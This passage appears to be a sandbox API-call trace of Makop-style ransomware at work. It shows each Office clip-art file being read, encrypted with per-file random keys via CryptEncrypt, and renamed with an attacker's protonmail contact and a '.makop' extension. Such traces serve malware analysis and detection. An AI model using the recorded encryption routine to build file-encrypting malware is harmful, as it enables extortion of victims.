lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.270] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.270] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.270] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.270] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.271] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e7c, lpOverlapped=0x0) returned 1 [0107.272] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80) returned 1 [0107.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.272] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e80, lpOverlapped=0x0) returned 1 [0107.272] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.272] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.273] SetEndOfFile (hFile=0xf0) returned 1 [0107.280] GetProcessHeap () returned 0x48a0000 [0107.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.280] GetProcessHeap () returned 0x48a0000 [0107.280] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.280] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.281] CloseHandle (hObject=0xf0) returned 1 [0107.282] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0107.282] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0107.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.282] GetProcessHeap () returned 0x48a0000 [0107.283] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.283] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.287] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.287] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.287] GetProcessHeap () returned 0x48a0000 [0107.287] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.287] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.287] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.288] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.288] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.289] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e7c, lpOverlapped=0x0) returned 1 [0107.290] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e80) returned 1 [0107.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e80, lpOverlapped=0x0) returned 1 [0107.290] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.291] SetEndOfFile (hFile=0xf0) returned 1 [0107.297] GetProcessHeap () returned 0x48a0000 [0107.297] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.297] GetProcessHeap () returned 0x48a0000 [0107.297] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.297] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.298] CloseHandle (hObject=0xf0) returned 1 [0107.299] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0107.300] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0107.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.301] GetProcessHeap () returned 0x48a0000 [0107.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.301] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.301] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.301] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.301] GetProcessHeap () returned 0x48a0000 [0107.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.302] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.302] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.302] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.313] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.313] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.314] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.314] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.314] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.314] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e0, lpOverlapped=0x0) returned 1 [0107.314] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0) returned 1 [0107.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.314] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e0, lpOverlapped=0x0) returned 1 [0107.315] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.315] SetEndOfFile (hFile=0xf0) returned 1 [0107.321] GetProcessHeap () returned 0x48a0000 [0107.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.321] GetProcessHeap () returned 0x48a0000 [0107.321] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.321] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.322] CloseHandle (hObject=0xf0) returned 1 [0107.322] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0107.322] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0107.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.325] GetProcessHeap () returned 0x48a0000 [0107.325] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.325] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.332] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.332] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.333] GetProcessHeap () returned 0x48a0000 [0107.333] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.333] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.333] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.333] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.333] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.333] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.333] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.334] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.334] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.334] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.334] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9bc, lpOverlapped=0x0) returned 1 [0107.334] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0) returned 1 [0107.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.335] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c0, lpOverlapped=0x0) returned 1 [0107.335] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.335] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.335] SetEndOfFile (hFile=0xf0) returned 1 [0107.342] GetProcessHeap () returned 0x48a0000 [0107.342] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.342] GetProcessHeap () returned 0x48a0000 [0107.342] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.343] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.344] CloseHandle (hObject=0xf0) returned 1 [0107.344] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0107.344] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0107.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.345] GetProcessHeap () returned 0x48a0000 [0107.345] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.345] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.350] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.350] GetProcessHeap () returned 0x48a0000 [0107.350] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.350] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.350] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.350] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, 